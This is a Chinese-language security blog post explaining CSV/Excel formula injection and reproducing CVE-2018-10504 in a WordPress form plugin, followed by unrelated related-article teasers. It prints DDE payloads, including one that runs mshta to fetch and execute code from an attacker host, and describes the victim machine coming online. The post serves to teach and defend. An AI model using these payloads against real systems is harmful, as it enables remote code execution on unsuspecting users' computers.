背景

某天在逛expdb时候看到了CSV Injection的exp,在渗透测试的过程中也偶尔会遇到类似的情况,这一漏洞很早之前就出现过,但是很多人没有意识到漏洞的危害性,于是抱着学习的心态进行了一波漏洞复现和学习。

漏洞介绍

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

漏洞原理

人们通常认为CSV或xls文件中包含的文本不会有任何安全风险,这是比较大的一个误区。首先我们创建一个Excel文件,将其中一格内容修改为=36+1

保存之后看到如下结果,公式正常计算:

虽然单元格的内容在引号内,但由于第一个字符是=,它以一个表达式的形式被处理,实际上包括 = - + @这样的符号都会触发这种行为,正常来说,如果数据量比较大的情况下,管理员一般不会花那么多时间去一个个检查输入内容是否正常。(emmm正常人可能都不会这么干)

由于表达式就是可以执行的代码,所以假如我们把输入内容修改为:

=1+cmd|' /C calc'!A0

之后点击保存,然后再次打开,会看到如下提示:

点击  之后,弹出计算器:

漏洞危害

这类漏洞通常不会针对于专业的网络安全人员,毕竟是个搞安全的都知道cmd不要随便启用,但是对于大部分人来说,尤其是正常的企业员工,往往会忽视问题的严重性,可能随手就点了个,因此这类漏洞一种利用方式可以用于钓鱼,另一种也和钓鱼类似,需要网站后台存在导出excel功能,攻击者通过污染数据,当管理员或者其他用户需要用到导出excel功能时,被污染的数据被一起导出,当打开该文件时并且忽略告警提示点了,一起完美的攻击就完成了。

漏洞复现

漏洞复现采用了CVE-2018-10504,也就是wordpress的Form Maker 插件的csv注入漏洞。PoC可参考:

https://www.exploit-db.com/exploits/44559

首先下载安装该插件:

安装后在功能栏就能看到:

我们这边用有两个用户adminsunshine:

登录sunshine用户,使用Form Maker提交如下信息:

+1+cmd|'/c mshta.exehttp://192.168.233.102:8080/a'!A0

后台可以看到数据已经被污染了:

admin用户登录,打开Form Maker –Submissions – Contact US – Export to CSV

打开会有这样的安全提示:

默认启用和点击之后就能看到机器上线了:

漏洞防护

对于网站来说,比较合理的防御方式是对输入输出特殊字符进行编码;对于平时常规文件的传递中,只能尽量为员工做好相关的安全意识培训来做相关的防范。

*本文原创作者:3unshine,本文属FreeBuf原创奖励计划,未经许可禁止转载

csv可以保存特殊字符_浅谈CSV注入漏洞相关推荐

  1. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

  2. 00005在java结果输出_浅谈Java反序列化漏洞原理(案例未完善后续补充)

    摘要: 0005,这个16进制流基本上也意味者java反序列化的开始:(2)HTTP:必有rO0AB,其实这就是aced0005的base64编码的结果:以上意味着存在Java反序列化,可尝试构造pa ...

  3. 《计算机辅助教学及应用实践研究》,《论文_浅谈计算机辅助教学(定稿)》

    <论文_浅谈计算机辅助教学(定稿)> (3页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 9.9 积分 摘要:计算机辅助教学中要用到多媒体课件 ...

  4. python判断两个对象是否为相等使用的运算符是_Python入门_浅谈逻辑判断与运算符...

    这是关于Python的第6篇文章,主要介绍下逻辑判断与运算符. (一) 逻辑判断: 如果要实现一个复杂的功能程序,逻辑判断必不可少.逻辑判断的最基本标准:布尔类型. 布尔类型只有两个值:True和Fa ...

  5. rails 调用php函数_潜藏在PHP安全的边缘——浅谈PHP反序列化漏洞

    潜藏在PHP安全的边缘--浅谈PHP反序列化漏洞 注意事项:1.本篇文章由复眼小组的瞳话原创,未经允许禁止转载2.本文一共1376字,8张图,预计阅读时间6分钟3.本文比较基础,请大佬酌情观看,如果有 ...

  6. 浅谈SQL注入风险 - 一个Login拿下Server(转)

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:"老师你这SQL有注 ...

  7. php反序列化绕过,浅谈php反序列化漏洞

    关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...

  8. 计算机网络安全漏洞及防范措施论文,浅谈计算机网络安全漏洞及防范措施论文.doc...

    浅谈计算机网络安全漏洞及防范措施 摘要 随着系统信息化建设的飞速发展,网络的建设和应用得到了广泛的普及,随之而来的计算机网络安全也成为了关系公共机关管理和发展的重大问题,如何从技术.管理等方面加强对计 ...

  9. movielens推荐系统_浅谈推荐系统+3个小时上手python实现(完整代码)

    已经9012年了应该也不需要我解释什么是推荐系统,大致就像头图一样,挖掘用户的喜好,精准的推送给用户ta想要的东西!推荐系统可以说是无处不在了,电商的猜你喜欢,浏览器右侧的推送消息,包括搜索结果的排序 ...

  10. 简述autocad在测绘工程中的应用_浅谈AutoCAD在工程测绘制图中的应用

    龙源期刊网 http://www.qikan.com.cn 浅谈 AutoCAD 在工程测绘制图中的应用 作者:高振华 来源:<职业 · 下旬> 2011 年第 02 期 AutoCAD ...

最新文章

  1. 随机梯度下降分类器(SGDClassifier)
  2. api ajax解析json数据库,api ajax解析json数据库
  3. 华为聚焦AI基础平台,加速行业智能化落地
  4. 超融合架构的优缺点_知道 超融合基础架构吗
  5. (转)git clone: error: RPC failed; result=18, HTTP code = 200 解决办法
  6. python中的common_common:个人基础函数库
  7. Eclipse设置智能提示
  8. Raki的读paper小记:Kernel Continual Learning
  9. python导入鸢尾花数据集_python 鸢尾花数据集报表展示
  10. 解决 Sketch 在MAC M1上运行卡顿等问题!
  11. mysql中预设的拥有_MySQL中预设的、拥有最高权限超级用户的用户名为
  12. 两台电脑串口通信实现文件传输
  13. 移动应用实战(移动OA)之四_会议室管理之一
  14. pod 排错----Pod 一直处于 Pending 状态
  15. 安卓miracast花屏_计算机通过Miracast无线投屏到其他设备,出现卡顿及花屏现象...
  16. IIS Express配置使通过IP访问
  17. svg --- 可缩放矢量图形
  18. 爬取了知乎2.2亿阅读量 “有漂亮女朋友是什么体验“,结果发现...
  19. 堆外缓存OHCache使用总结
  20. 计算机中的二进制实验报告,大学计算机实验报告(共5篇).doc

热门文章

  1. eslint 换行_给 eslint 写一个插件
  2. 【Shell Basic】source . 与 bash sh 的区别
  3. Android Studio 创建/打开项目时一直处于Building“project name”Gradle project info 的解决...
  4. [裴礼文数学分析中的典型问题与方法习题参考解答]5.1.24
  5. win7 IIS7 发布网站遇到 HTTP 错误 500.19 由于权限不足
  6. 2000条你应知的WPF小姿势 基础篇40-44 启动关闭,Xaml,逻辑树
  7. 装载list的时候 一定要把每一个实体放到for里面
  8. springboot 集成 jwt+oauth+springsecurity 实现单点登录,feign远程调用,eruka注册中心,seata分布式事务配置
  9. cuda_error_launch_failed: unspecified launch failure
  10. 并发编程常见面试题总结四